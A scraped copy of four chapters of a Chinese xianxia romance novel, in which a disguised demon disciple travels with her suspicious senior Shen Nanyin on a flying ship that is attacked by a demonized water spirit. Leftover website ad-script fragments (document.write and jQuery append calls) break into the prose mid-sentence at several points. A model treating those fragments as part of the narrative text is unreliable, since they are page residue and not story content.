进了太玄宫,程雪意直奔接收任务的地方,仰头看着闪光的任务牌,选了个最靠近鬼市下次开市位置的任务接下来。 “程师妹接的可是甲级任务。” 发放任务的师兄好心提醒:“是不是拿错了?交给我挂回去,重新再选吧?” 程雪意摇头说:“没拿错师兄,我就是想试试自己近日修行成果如何,挑战一下甲级任务。” 师兄仔细看了看她:“可你才练气五层,甲级任务是金丹级别才能单独完成的。” “这任务只是采灵药,只是因为地处险要位置,长老们为弟子安危着想,所以才分级高了些。我手里太缺灵石,真的想试试,师兄就让我去吧。”程雪意微微抿唇,可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怜兮兮道,“若我不能行,肯定立马回返,好不好?” 看着她水汪汪的大眼睛,师兄想说不好都说不出口了。 也算是自己看着成长起来的师妹了,每日乖巧干活,逆来顺受的,难得有一次坚持。 “那你可一定不要逞强,性命最重要,知道吗?” “知道了,谢谢师兄!” 程雪意笑眼弯弯地收好任务牌,如此算是拿到了名正言顺离宗前往水云间的由头。 今年鬼市就开在水云间。 水云间名字好听,却是处天堑,虽然靠近无欲天宫、玉京神宗和乾天宗,却为三不管地带。 鬼市选在那里开,程雪意所接的采摘任务也在水云间边缘处。 正如阿青所说,她这次所受反噬有些非同寻常,得沈南音亲自疗伤之后,她原是好了许多,却又突然心神动荡,神魂不稳,压制的灵脉几欲崩溃,得快些离开乾天宗。 万一压制真的损坏,暴露魔气,此处有静慈法宗和一众大能在,她非得出事不可。 出了乾天宗,还得想法子修补神魂,调息灵脉,再试着分出一部分灵力来用。 老在外门不是办法,她需得进入内门,才能更靠近传说中的乾天宗至宝白泽图。 当初因为怕被发现,压制太多力量,以如今的修为想进入内门,简直是痴人说梦。 前不久沈南音给她疗伤,有为她清理驳杂的灵根,到时候灵根有所变化,修为进益,就全都推到他身上,理由完全令人信服。 听闻今年鬼市的压轴至宝是修月草,这东西刚好是她需要的,沈南音既然那么大方说记他的鬼市账户,那她就不跟他客气了。 拿他的钱买点别的法宝,再卖掉折算成灵石,用来拍修月草就行了。 程雪意心里盘算得完美,下值后就和阿青道别,取了行李准备下山。 一阵擂鼓声引起她注意,她从山脚下抬头望天,看到擎天的飞舟浩浩荡荡地开起来,密密麻麻的内门弟子在天际边或腾云或御剑,恭送飞舟上的人。 那飞舟程雪意认识,是无欲天宫圣子圣女的飞舟。 付菁华和付萧然兄妹解决了镇妖塔的事,准备回宗门去了。 有些意外的是,程雪意极为眼尖地看见了飞舟上不该在的一个人。 沈南音独自站在船头,风吹起他的白袍纱衣,朦朦胧胧,仿佛织梦。 明明那么遥远的注视,他却敏锐地发觉了,准确无误地望向程雪意所在的位置。 相隔万里的两个人微妙地对视一瞬,程雪意转身便走。 她走出不远,那本该越过山门直向无欲天宫的飞舟,在靠近后徐徐停在她的正上方。 沈南音从船头俯视下来,眼神并不会让她有被睥睨的不适。 他看上去还是那么温和平等,从不自诩身份高高在上,脸色甚至和她一样有些苍白。 他什么都没说,是他身后不远处的付菁华笑吟吟地朝程雪意伸出手。 “这位师妹要去往水云间?正好顺路,和我们一道走吧。” 程雪意要离宗,出山门,任务牌就挂在腰间,方便守卫弟子和护山大阵放行。 付菁华走的时候发现她眼熟,记起她与大师兄似乎有些瓜葛,又关注到她的腰牌,就叫飞舟靠近停下,准备捎她一段路。 对方是好意,但程雪意可不想上去。 她现在情况很不稳定,这飞舟上不但有无欲天宫的圣子圣女,最关键是有沈南音,要是被发现端倪就完蛋了。 她理所应当要拒绝,可话开口之前,沈南音先沙哑说道:“上来吧。” “山高路远,身体要紧。” 8. 008(抓虫) 沈南音短短几个字,令整个飞舟上的人都面色微妙起来。 他们齐齐望向这个一身灰衣,牵着枣红小马驹,绑着两条辫子,风尘仆仆到有些寒酸的乾天宗外门女弟子,眼神带着探寻。 真武明华道君是什么人? 他确实温和亲切,没有架子,什么事情求到他面前来,总会得到点有效回应。 他身份高贵,却从不傲慢,不会看不起任何人。 但他也不会无缘无故地主动说一些暴露两人关系不简单的话。 “身体要紧”,那熟稔的语气,坦坦荡荡毫不掩饰的关切之意,叫人疑虑丛生又想入非非。 一直闭眼的付萧然都因此睁眼观察,如有实质的目光落在程雪意身上,令她十分不适。 沈南音哪怕真的审视谁,也不会叫人如此不舒服。 他会缓和与收敛,但付萧然不会。 他眼神直接,非常尖锐,程雪意几乎忍耐不住血脉之中的战意。 她攥紧了枣红马的缰绳,觉得自己也不必开口拒绝邀请了,付萧然分明一副不希望她上去的模样,他肯定会直接反对。 未曾想他开口说的却是:“还愣着干什么?飞舟燃一日要多少灵石无需我多说吧?莫要浪费大家的时间和灵石。” “……” 所以你挑剔地看了半天,就得出这么一个结论? 程雪意直接道:“圣子说笑了,即便浪费时间和灵石,那也与我无关,是圣女邀请我上去,不是我死乞白赖非要上去,我考虑一下是否要答应,这很正常吧?” 付菁华闻言先是一愣,随即笑开,揶揄地望向哥哥。 她一直知道哥哥脾气不好,性子冷漠,说话欠揍。 但碍于身份,大家都对他多有忍耐。 这样直接怼回来的,程雪意当真是第一人。 这人还是个外门弟子,如此胆色,真是叫她佩服。 付萧然自己也很错愕,他都呆住了,回过神再要说什么,沈南音已经挡住了他的视线。 “若不想上来,便不必上来。”沈南音对程雪意道,“去往水云间的路有水魈反叛,发了大水,玉京神宗正在处理,暂且不能过人,你若不急,可绕路而行。” 居然有水魈反叛? 这么倒霉吗? 如果她真的只是出来做任务,绕路也就绕路了,时间没那么紧张,可她还要去鬼市。 程雪意感受了一□□内灵息,似乎稍稍平稳了一些,借飞舟走一段路,过了水魈作乱的地方就下去,应该没什么问题。 打定主意,程雪意拍了拍枣红马的脑袋,朝它吹了个口哨,它便自己跑走了。 程雪意轻盈地跳上飞舟,但因为飞舟太高,她力量被封印大部分,这一跃起高度有些不够,差点没能上去。 是站在船头的沈南音及时出手抓住了她,让她借力跳上来站稳。 “多谢……” 道谢的话刚出口,便见沈南音倏地松开她的手,退开很远。 悠扬的银铃声尚未静止,程雪意漫不经心地垂手按住,铃声止息,沈南音看起来状态正常很多。 ……这想法有些不合时宜,但他被铃声吓到的样子,居然有几分可爱。 程雪意不着痕迹地扫过沈南音浓密颤动的长睫,礼貌地朝付菁华行礼致谢。 “多谢圣女好意,那我便叨扰一段路了。” 付菁华将将回神,瞥了一眼沈南音已经掩在袖中的手,温柔笑道:“飞舟这样大,空房间多得很,能多坐几个人,灵石才花得值。” 程雪意还没回答,剑光忽然一闪。 她眼前一花,看到付萧然抱着同心剑从她面前走过,朝客房的方向去了。 “阿雾,去给这位师妹寻一间客房安置。”付菁华也马上给程雪意安排房间。 “我不用了。”雪意道,“过了水患的地方我就下去,不劳烦圣女和这位师姐。” 比起付菁华,阿雾的态度要疏离许多。 她自然认识乾天宗外门弟子的衣裳,沈南音跟他们一起走就算了,怎么连个外门弟子也上来了? 圣女就是脾气太好,什么人都邀请,万一对方心怀不轨怎么办? 阿雾拉着付菁华走远,面色警惕,付菁华无奈,朝程雪意歉意笑笑,先去安抚她。 圣子圣女都走了,无欲天宫的人也逐渐散开,船头只剩下程雪意和沈南音。 沈南音看着她腰间的任务牌,虽然什么都没说,但她越级挑战的事情他肯定也是不赞成的。 程雪意直言道:“这只是顺道做个任务,完不成就不去了,我主要是找个理由去鬼市。” 进鬼市需要用沈南音的票,这件事没必要瞒着他,坦白说了也省的对方自己发现之后胡思乱想。 “大师兄不是让我去还桃花醉?我很听你的话呢~” 她尾音荡漾,带着一些说不清道不明的旖旎。 沈南音缓缓抬眼,目光落在她身上,骄阳的光洒了她一身,为她镀上明媚自然的光彩,绚丽得仿佛琉璃宝珠。 他又看见她发辫尾端的贝壳发扣,虽然廉价,但款式精致漂亮,很衬她的娇俏灵精。 “我也要去鬼市。” 沈南音这样说了一句便沉默下来。 他视线并未从她身上收回,但那轻盈温和,重量甚至比不过阳光的注视,让程雪意很舒适,有种被重视和认真对待的恳切。 “大师兄也要去,这是什么意思?”程雪意品着他话里的意思,突然警惕起来,“大师兄不会是想把给了我的票再要回去吧?世上可没有这样的道理!” 她一下子跑出好远,捂着挎包紧张兮兮,好像下一秒沈南音就会去抢票。 沈南音半晌才道:“给了你就是你的,怎会再同你要回来。” “可你要去鬼市,难不成你还有更多的票?” 鬼市头场一共就十个座位,就算要感谢乾天宗,他们也舍不得给出太多票的。 她不知具体数量,但绝超不出两张,沈南音的身份摆在那里,宫明长老肯定得上交一张给他,剩下的他自己留一张,或是送人一张,不会有更多了。 程雪意自己把情况分析得七七八八,无比准确,防备之情溢于言表。 沈南音突然笑了一下,略有苍白的脸色似乎红润了一些。 “不抢你的,我这里还有。”他解释了一下,“来之前去见了苏长老,拿东西跟她换了票。” 程雪意怀疑:“真的?” 沈南音不得不将自己的票拿出来给她看:“真的。” 看见他确实还有,程雪意这才放下心来,撤了防备,轻轻拍了拍自己的小挎包。 沈南音垂下眼,目光拂过她挎包上灵动的喜鹊刺绣。 很少见姑娘会绣这类鸟,还是在随身的挎包上。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 程雪意见他关注,便随口道:“我娘总爱说,喜鹊枝头叫,好事要来到,所以我出门都带着绣了喜鹊的布包,大吉大利。” 原是这个意思。 图个好兆头吗? 沈南音思及在噬心谷里的发现,轻声问道:“不知程师妹年芳几何?” “十九。” “入宗几年了?” “五年。” “那便是十四岁上山。”沈南音阖了阖眼,继续问,“程师妹家住何处?父母安好?” “……”程雪意意味不明地盯着他,“我爹娘都不在了,在我上山前一年死绝了,就埋在凡间清平镇的荼蘼山上。我从小就有些异常能力,村子里的人不知那是仙根所致,都说我是被妖孽附身,要叫道士来抓我。爹娘带着我搬了好几次家,死之前才在新家安顿不到半年。” “他们是病死的,清平镇生了疫鬼,乾天宗的仙长们正好去镇上除疫鬼,没来得及救我爹娘。但他们发现了我,见我有灵根,怜惜我没了父母,就带我回了宗门。” 程雪意笑吟吟道:“大师兄还想知道什么?” 她音色在笑,但眼睛却冷冷的,没有一丁点笑意。 过往经历她已经说得十分清楚,沈南音着实没什么可再问的。 其实他想知道这些,一个传音就有人会事无巨细地告知他。 但这样难免会惊动旁人,会给程雪意带来不必要的麻烦。 他也不想背后调查她,于是选择当面询问。 她说的是真是假,是否有隐瞒,他自有评判。 至于为什么要问这些,还要从自噬心谷回来说起。 沈南音在噬心谷发现了一处绝密的通道,通道生机断绝,通往哪里、是否使用过,都是未知数。 他与谷内魔族一战,两败俱伤,回宗后将此事告知师尊,师尊思虑过后,觉得既然他已经将通道毁了,便应该无碍了。 那通道约莫只是刚造好,还没用过,幸好他进去一趟,及时发现,否则后果不堪设想。 师尊让他留在宗门养伤,取修月草的事情旁人代劳即可,但他拒绝了。 他还是决定走一趟鬼市,心里对师尊的判断也有些不同意见。 他自觉事情不太寻常。 师尊对噬心谷内部有些未尽之言,他不了解原因是什么。 可他认为那通道封闭,不是因为没用过,而是因为已经有人用过才失去效力。 这猜想没什么证据,全凭他的直觉,也不好兴师动众。 在山门处见到程雪意是个意外,付菁华主动请她上来也是未曾料到。 最终他选择跟着邀请她上来,是想到最近发生的所有事情,或多或少的都与这个人有关。 他早已证实过,程雪意是人族无异。 不该将那些无的放矢的怀疑加注在她身上。 沈南音皱了皱眉,颇有些无话可说,程雪意也不想再和他相处,多一秒都觉得危险。 这个人太敏锐了,再说下难保不会露出破绽,在她稳定灵脉之前,还是保持距离得好。 见她冷淡转身,沈南音靴尖往前,似是想跟,但很快就放弃了。 她要去鬼市,他也要去。 她却只怕他抢她的票,没有半分一同前去的想法。 她想和他保持距离,意图已经很明显。 沈南音脚步回转,往程雪意的反方向走去。 9. 009 程雪意从船头躲到船尾,避瘟神一样避沈南音。 人人都想靠近的乾天宗大师兄,她却避入蛇蝎,这本身就是一种问题,但现在也没什么好法子了。 脉息躁动,程雪意靠在船尾,有些担心是不是噬心谷出了什么问题。 这次降灵不是沈南音去的,是广文道君玉不染前去,难不成是后者捅了什么篓子? 该死的二师兄。 正咬牙切齿着,忽然听见有女声在说话,话里好像提到了噬心谷。 程雪意立刻竖起耳朵,悄声凑近,将那对话听清楚。 “你刚才不该对乾天宗女弟子那般态度,幸好飞舟上没外人,若叫旁人瞧见,倒要说我们无欲天宫眼高于顶了。” “一个名不见经传的打杂弟子,让她上船,还安顿下来,若她心怀不轨,要对圣女做什么可怎么办?我是为圣女着想。” 前面那个女声程雪意没听过,但后面这个她知道,是阿雾。 “沈师兄都叫她上来了,她能有什么不轨呀?你信不过她,总该信得过真武道君啊。” 阿雾不满道:“就是因为真武道君的态度我才不高兴,什么‘身体要紧’,他那个身份,怎会知道一个外门弟子身体不好?我看那女弟子气色好得很呢!她上船有点够不着,真武道君还亲自出手去拉,你何曾见他对圣女这么亲近过?” “你想多了,沈道君为人你又不是不知道,他一向关怀晚辈,对同门诸多照料。将师妹拉上来后,他不是马上松了手吗?” 阿雾似乎有些被说服,但还是不太高兴:“我还是觉得不太寻常,但愿一切如你所说那般,不然圣女怕是要伤心。” “圣女的心思也不见得是咱们猜测的那样,我们还是少操些心吧。” “圣女怎会不是那个心思?你又不是不知,三年后天宫就要选人献祭无欲道了,届时若圣女还没有心仪之人,按以往有女选女,无女才选男的规矩,必然是要让圣女献祭的!” 无欲天宫每百年会择圣女或圣子献祭无欲道。 三年后恰好是一个百年,付菁华和付萧然兄妹必然有一个得献祭道法。 这献祭倒也不要命,但要失去毕生自由,关在高塔内日夜孤寂面对一盏青灯,不断输送灵力滋养灯内舍利珠,直到天人五衰死去,再将择选出来的下一任圣女圣子送进去替换。 付萧然疼爱妹妹,不愿她忍受余生只能面对一盏青灯的孤苦寂寞,这几年一直在为付菁华寻找合适的道侣,沈南音自然成为首选。 不管是他还是修界的其他人,都觉得除了沈南音之外,没人能再配得上付菁华了。 “说来也是无奈。”先说话的女声叹息道,“沈道君确实是最好的选择了,不会委屈了咱们圣女。听闻沈道君刚刚进了一趟噬心谷,降服了谷内躁动的大魔,那可是自建成就没人进去过的噬心谷啊,沈道君单枪匹马就进去了,还成功平息了魔乱,回来后又马不停蹄地要去鬼市为广文道君寻修月草疗伤,无论是能力还是品性,他都是最好的了。” “……” 沈南音进了噬心谷? 难怪……难怪他脸色不太好看,还突然问了她那么多问题。 她当时就觉得奇怪,一直在想是不是自己哪里又露出破绽了,没想到竟是他进了一趟噬心谷! 那他是不是已经发现了五年前她离开的通道? 静慈法宗知道了没有? 乾天宗会怎么做? 她这一季始终不能好全的心伤也找到了源头,沈南音肯定在噬心谷里做了什么。 早知如此,上次抓到他,就该杀了他! 程雪意情绪有些激动,腰间银铃躁动撞击,她立刻按住,勉强自己平静下来。 不行。还不能杀了沈南音。 这是五年内她能最接近的内门弟子,也是最有可能掌握白泽图踪迹的人。 沈南音可是下一任宗主,静慈法宗的清虚阁都对他不设防,他要是不知道白泽图在哪里,还有谁能知道? 至少要等弄到白泽图才能杀了他。 程雪意心凉了半截,回想刚才他一句接一句的询问,真是无尽地后怕。 他已经在怀疑她,她绝不能再在他面前露出任何破绽。 只要一丁点蛛丝马迹,他便能顺藤而上,将她的秘密全都扒开。 这个人太可怕了。 但转念想想,这样的人若能为她所用,迷惑他的心智,还有什么事是办不成的呢? 夜幕降临,飞舟距离水云间已经很近,程雪意乘着夜色来到船头,沈南音已经不在这里。 程雪意想起无欲天宫的人还提到了修月草,想不到沈南音这次去鬼市也要拿修月草,他怎么处处与她作对? 什么天敌一样的存在。 程雪意攥住腰间铃铛,心里憋着一口气,很想收拾一下沈南音。 理智上清楚自己该做的是拿下此人,但情绪上没办法再委屈自己。 毕竟上一次委屈的结果是被画皮妖欺骗。 那就换一种方法吧。 谁说驯服不算拿下呢? 驯服沈南音,这个任务听起来就非常让她有兴趣了。 刚想到这里,飞舟忽然震荡起来,直直从天际坠落。 强烈的失重感令人五脏移位,好在船上都是修士,不至于在这失重感里丢了性命,但还是很难受就是了。 程雪意修为被限,只能以练气层级来抵抗这飞快的坠落。她紧咬唇瓣,血迹渗出,腰间银铃不断震动,铃声在各种轰鸣与混乱声中并不明显,甚至可以忽略不计,但有人对此感知敏锐。 程雪意眼前出现残影,人被猛烈的风吹到桅杆边,手紧紧抓着桅杆,快要被吹跑。 雪色的光在黑暗中亮起来,明月之下,美人踏光而来,温暖柔软的手抓住她的手臂,将她稳稳地拉到了他身边。 下一瞬,飞舟终于停下来,巨大的撞击惯性让飞舟上的所有人和物品都飞了起来。 那一刻时间变得很慢,程雪意睁开眼,忍着呕意望向近在咫尺的侧脸,沈南音长发飞舞,衣袂翩跹,手中握着他那把传承自乾天宗先祖的仙剑,那在黑暗中亮起的雪色光芒便是这把剑发出来的。 她知道这把剑的名字,它叫红尘。 沈南音对她说:“抱紧我。” 程雪意下意识收紧手臂,紧紧搂住他的腰。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 她能感觉到沈南音身子僵硬了一瞬,目光飞快地划过她的脸,之后他解放双手,结起剑阵,将所有因惯性飞出去的人都拉回了船内。 飞舟已经被撞击得近乎四分五裂,由付家兄妹勉强维持着完整。 沈南音只能将人再带回来,因为飞舟降落的不是陆地,是一片血海滔天。 “是水魈。”付萧然紧蹙眉头踩在船围上,“玉京神宗到底在干什么,一个水魈都处理不了,竟让水患蔓延至此?” “不止是水患。” 沈南音落在甲板上,轻轻看了程雪意一眼,雪意立马松开了紧紧抱着他的手臂。 沈南音这才走到边缘,望着血海道:“水魈被魔化了。” “什么?” 满船的人,包括程雪意,都震惊地望向了他。 夜色深沉,月有千钧重,沈南音跃上血海,程雪意紧跟到船边,低头审视血海。 果然,血色翻涌之中,确实是浓重的魔气。 不可能。 怎么可能。 魔族都被关在噬心谷,只有她一个在寻求生机,便是后续有人出来,也不该闹出这么大动静。 究竟是谁,难不成是来找她的? 程雪意第一个想到羽浮光,随后立刻否定了这个猜想。 浮光就算担心她,强行突破噬心谷封印而出,也不会惹出这么大乱子给她带来麻烦,而且—— 被卷入血海之中的时候,程雪意百分百确定这入魔水魈与她无关了。 连她都想吞,真是好大的胆子,也不怕撑死。 血腥味充斥着鼻息,程雪意岌岌可危的灵脉压制几乎崩溃。她屏住呼吸,看见飞舟的主人付菁华正梨花带雨地抓着沈南音的手臂,身边还伴着她的亲哥哥和无数天宫弟子。 如此架势,显得孤身一人留在船边,被水魈吸下去的她好惨啊。 程雪意在血色的水底睁开眼睛,心里思量着就这么和沈南音分开也是个不错的选择。 他看起来可没空再来救她一次。 既要分开,也就不必顾忌那么多了。 程雪意按住脉门,淡淡的血色爬上她光洁白皙的手臂,在灵脉压制即将彻底打开之前,海水中出现了她以为不会来的人。 沈南音如雪色的海妖,乌发凌乱缠绕着朝她游过来。 那即将吞噬她的水魈巨口就在身后,真武明华道君不见半点焦急,他冷静平稳地在水中捏诀,程雪意身后顿时出现巨大旋涡,她几乎都被旋涡给吸进去,好在沈南音及时抓住了她。 他全都算计好了,知道万无一失,所以不会焦急。 但他估计没算到程雪意会窒息。 强行将即将打开的压制又封印回去,程雪意没了在水中调息的力量,唇边很快开始冒泡泡。 程雪意喘不上气,但人却笑起来,她瞧见沈南音抬手在唤他的本命剑。 他肯定有办法在她彻底窒息之前带她回到水面。 不过她不想用那种办法。 红尘剑,名字真好。 她要拉他入红尘。 程雪意环住沈南音的脖颈,闭眼吻上他的唇,夺走他全部的呼吸。 10.010 沈南音修行百年,从未有过什么刻骨铭心的记忆。 师尊总说他是最适合修行的那一类人,看似温和好相处,其实与谁都不曾真的亲近。 这些年除了师尊之外,就连玉不染这个亲传师弟,关系都愈加疏离。 玉不染常说他道貌岸然,虚伪恶心,也是因为这个。 与程雪意那一夜,黑暗里发生的一切,那备受煎熬却始终得不到的欢愉,她满含笑意的甜蜜笑声,与笑声完全违和的肆意妄为,是他此生唯一难忘的经历。 这么多天了,他还是记忆犹新。 他不习惯去刻意忽略什么,那显得他在“惧怕”,他常常逼迫自己去回想,想得多了,再难忘的事情也变得寻常起来,总会有淡泊那一日。 充斥着魔气的血海之中,一个吻让沈南音的脱敏试验前功尽弃。 水本该隔音,但他好像又听见了那令人神魂震颤的铃声。 那夜除了手之外,他接触不到程雪意身体的任何部位。 她始终衣着整齐,谈笑从容,因此更显得起伏不定喘息紊乱的他狼狈可耻。 桃花醉虽然厉害,但沈南音真的不怕这些。 他是高修,天赋千年难遇,是乾天宗人人得知的下一任宗主。 小小一点桃花醉,中了就中了,也许会让他有一瞬失神昏迷,但不至于真的抵抗不了药效,被人亵玩拿捏。 更何况他心底还记挂着收妖的事。 最后为何会变成那个样子,回想数万次,答案已经没有意义。 至少这次不能再这样。 沈南音猛地推开程雪意,红尘剑的剑光将两人从水底掠起。 程雪意再回过神来,已经浑身湿淋淋地倒在甲板上。 “你走开些。” 是付菁华在说话。程雪意满脸水痕地抬眸,看见她将哥哥赶到一旁去,急切地来到她身边,低声为她用了法咒,她一身的潮湿逐渐消失。 程雪意定定看了看这位万千爱意于一身的圣女,又望向紧蹙眉头照看着妹妹安危的付萧然。他目光偶尔落在她身上,随着她身上衣物干燥的进度,一点点停在她脸颊上。 湿润的发丝贴在她白皙的面颊上,她清凌凌的大眼睛擦着付菁华的面庞过去,失神般落在付萧然的方向。付萧然微微一顿,意识到自己盯着湿身的她看不礼貌,迅速别开头。 程雪意其实根本没将这些放在心上。 她在噬心谷长大,能活下来就不错了,哪还有精力去计较什么有没有被尊重。 她是真的一时失神,因付家兄妹的相处想到了羽浮光。 他可千万不要有事。 那是她在这个世上唯一的亲人了。 程雪意慢慢爬起来,撑着手臂站稳,低声道:“多谢圣女。” 她精疲力尽,灵府动荡,别说用法咒将自己一身潮湿弄干,站稳都十分费力。 得赶紧离开这里才行。 远方闪现几道灵光,是玉京神宗的人追到了这里。 沈南音已经御剑与他们会合,了解水魈入魔的原委。 他们该是要处理完这里的麻烦才能离开。 程雪意淡淡瞥了一眼忙碌的大师兄,他侧身对着这里,与他说话的玉京弟子华袍锦扇,哪怕不是宗主,也是次级别的副宗主了。 就算是这样的人和他站在一起,也有些失了颜色。 程雪意注意到沈南音嘴唇有一道红,在他说话时尤其明显,他自己好像感觉不到,毕竟那点小伤口几乎没有痛感,他心有所挂,根本顾及不到这点小事。 程雪意悄悄舔了舔舌头。 是她咬的。 水中窒息感太重,她亲他那一下与其说是一个吻,不如说是纯粹的掠夺气息。 锋利的牙齿狠狠咬在他柔软的唇瓣上,迫使他乖乖奉上全部的呼吸。 也是这一口咬下去,让血水之中那双错愕的双目清醒过来,真武明华道君猛然将她推开。 上岸之后,她这里发生什么,他强硬地不肯看一眼。 ……驯服之路任重道远。 程雪意果断与付菁华道别:“时候不早了,飞舟怕是一时半会也走不了,我还有任务在身,这里的事情我也帮不上忙,就不在此拖后腿,先去做任务了。” “多谢圣女捎我这一程。” 她站在船尾,玉京神宗的人来了之后,已经着人架起灵桥,让飞舟上的无欲天宫弟子可以到别处安置。 付菁华有些担忧道:“此地不安宁,你就这样一个人离开恐怕不太妥当,不如再等等。” “有大师兄和玉京神宗的各位道君在,水魈这次肯定跑不掉了,我不会有事,圣女不必担心。” 程雪意去意已决,说完话就跟着上了灵桥,付菁华留不住,干脆拉了付萧然来。 “哥哥,你去送一送那位师妹,看她到了水云间再回来。” 付萧然拒绝道:“我绝不可能放你一个人在这样危险的地方。” 付菁华指着沈南音:“真武道君不是在这里吗?” “可是——” 付萧然想说,沈南音再厉害,那也不是她的亲哥哥。 他心里装得很多,至少目前来看,菁华不是第一位的。 但想到菁华的未来,又觉得这是个培养感情的好机会。 付萧然权衡之下咬牙道:“那你务必跟好他,寸步不离。魔族的事情非同小可,绝不能大意。” “知道了,你快去吧,我这就去找沈师兄了。” 付菁华说完提裙就走,付萧然确定她走到了沈南音身边,才去追程雪意。 雪意修为低,一时半刻走不了多远,付萧然脚程快,笃定自己能追得上。 付菁华怅然若失地看了一会哥哥的背影,忽听身边玉京神宗的叶若冰在唤沈南音。 “南音?” “沈南音?你在听吗?” 付菁华一愣,讶异地望向沈南音,先看见他夜色下雾霭氤氲的双眸,随后便是那染血的唇瓣。 “我在听。”沈南音回答道,“按师兄所说,水魈一开始并不见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 魔化痕迹,是逃窜至此处,靠近飞舟后才突然魔化的。” 叶若冰道:“正是如此。你方才不说话,我还以为你在走神,吓了一跳。我与你相识这么久,还从来没见你走过神呢。” 付菁华没吭声,但也和叶若冰一个想法。 沈南音会在和人说话的时候走神?怎么可能。 “可调查到水魈为何反叛?”沈南音问起正事,他方才是否走神的事情也就无人再讨论了。 叶若冰认真回答:“底下的人说是城镇干旱,来了几个道士宣扬可以求雨,施了某种阵法之后,水魈被引到这里,降下大雨。一开始还好,后面雨越下越大,一直不停,才发了洪水。” “那几个道士呢?” “不知所踪。” 付菁华闻言蹙眉:“若能找到他们的衣物或者法器,我或许可以寻到他们的位置。” 叶若冰挠挠头:“那可得好好找找,看他们可有留下蛛丝马迹了。” “但我料想他们应该只是哪里来的散修,为银钱替百姓求雨罢了,我查过他们的求雨阵,没有问题。水魈为何一直不停雨,还在此地魔化,才是当务之急要搞清楚的事。” 沈南音没说可或不可,只先一步下了飞舟,去抓方才因为红尘剑退避的水魈。 叶若冰则带人去查探退水之后附近到底有何异常,怎会令水魈魔化。 付菁华踌躇片刻,按照哥哥吩咐追上了沈南音。 沈南音发现她在跟着,渐渐放慢了脚步。 付菁华追上些后,很难不去关注他染血的唇瓣。 “沈师兄,你受伤了?” 付菁华忍耐不住问出口。 沈南音脚步一顿,倏地抬手捂住了嘴唇。 咬伤很轻,不仔细感觉完全感受不到疼痛。 沈南音回想起程雪意独自离开的背影,付萧然去送她,她的安危至少不会有问题。 抹去唇上血迹,沈南音听到付菁华问:“师兄怎会伤到那里?” 她是真不明白,语气充满困惑。 沈南音拔剑而出,红尘剑剑气骇得付菁华都后退一步。 她抬袖护住眼睛,耳边传来沈南音淡淡的回应。 “咬破的。” 哦,原来是这样。 付菁华点点头,表示明白了。 是打斗的时候不小心自己咬破的啊,那就说得过去了。 沈南音:“……圣女可以不必跟着我。” 他留下结界,将付菁华庇护其中。 “此乃我本命结界,你待在里面,不会有事。”他解释道,“跟我前去降魔,反而多有危机。” 付菁华看着周身波光粼粼的结界,欲言又止。 沈南音略一点头,在她有勇气拒绝之前御剑离开。 这才是他对待师妹们以往的态度和安排。 而绝非是要事缠身,仍要停下来查看她一些微不足道的伤势。 与程雪意那样的错误是第一次,也是最后一次。 他再不会犯。 11.011 水云间畔,程雪意停住脚步,回过头来。 “我已经到了,圣子还要跟我多久?” 付萧然来这一趟是听从妹妹吩咐,但来都来了,自然送佛送到西。 他倒是没暴露身形,是不想和人交流接触,觉得麻烦。 没想到这不过练气的小弟子居然能发现他。 付萧然觉得奇怪,持剑从树影中出来,上下看了她一会,漠然道:“你要摘什么,长在哪里,什么模样,告诉我,我摘了给你,你赶紧回宗去,外面不太平。” ……脸好看,但总是板着,说话语气也讨人厌,但心里是好意。 程雪意阖了阖眼,手摸向腰间的任务牌,按照付萧然之前对她的了解,和她交流得费点功夫,她还很可能“好心当成驴肝肺”,不成想她眨眼间就将任务牌丢了过来。 “就在前面悬崖,一朵忘忧花,圣子该知道忘忧花长什么样子吧?” 忘忧花付萧然当然知道,那是甲级灵植,可入药也可用来炼器,十分名贵。 眼前的女修不过练气,怎会拿到这么高级的任务? 乾天宗执事堂脑子抽了? 付萧然心有疑惑,但赶时间,也不想多话,接了任务牌就朝水云间悬崖走去。 程雪意慢悠悠地跟在后面,有工具人可以用,她当然乐得轻松,回了宗门也好交差。 身上还不太舒服,心口疼,灵脉翻涌,急需修月草来缓解。 沈南音被魔化水魈绊住脚,也许赶不上鬼市了,她早些去,或许可以抢先拿到。 正思索间,人已跟着付萧然到了悬崖边。 万丈深渊近在咫尺,程雪意迎风而立,发辫上的贝壳被月光照得闪闪发光。 付萧然回眸道:“离远些。” 站得那么近,半个脚几乎悬空,不怕掉下去吗? 程雪意胆子大到付萧然闻所未闻,她简直和他印象中的所有女修都不一样。 听他要求,程雪意也不拒绝,乖乖后退几步,天真无辜的双眸朝他投过来,大大的眼睛里倒映着他黑衣金冠的身影,显得异常专注。 付萧然眸光一滞,很快跳下悬崖。 无欲天宫的圣子,摘一朵忘忧花是信手捏来。 他不到一刻钟就回来了,手里握着程雪意以练气修为可能九死一生才能拿到的灵植。 付萧然将忘忧花递过来,程雪意伸手去接,却没拿到。 就知道没这么简单。 她抬眼望向他的眼睛,视线交汇那一瞬,付萧然道:“取药草时遇见了守护的伴生妖,最起码筑基大圆满的修为,若真是你自己下去,此刻已经沉尸水底了。” “……然后呢?” 她知道他话里有话。 付萧然微微拧眉,迟疑片刻才继续道:“你与真武明华道君之间,只能是师兄妹。” 程雪意几乎立刻想到了在飞舟上听到的天宫女弟子对话。 她瞬间明白付萧然的用意。 果然,他很快道:“他是本座为菁华挑选的道侣,不管你之前与他有何种瓜葛,以后都不可再有过多联络。” 这次他把忘忧花给了她,要她肯定回应:“知道了吗?” 程雪意看着手里的灵植,歪着头好奇道:“我不太懂圣子的意思,圣子为何会觉得我与大师兄能有什么瓜葛,还这样警告我?只因大师兄邀我上飞舟吗?” “别装了。”付萧然冷冷道,“我是男人,并且不瞎。若不是有他当靠山,你如何胆敢在飞舟前那般与本座对峙?” 程雪意嘴里咕哝了什么,付萧然居然没听见。 他有些急着回去,便靠近些问:“你到底知道了没有?” 程雪意这次声音大了些:“只用一朵忘忧花,就要我答应这样的事,圣子也太小气了。” 胃口还挺大。 付萧然觉得她讨价还价的样子着实有些难看。 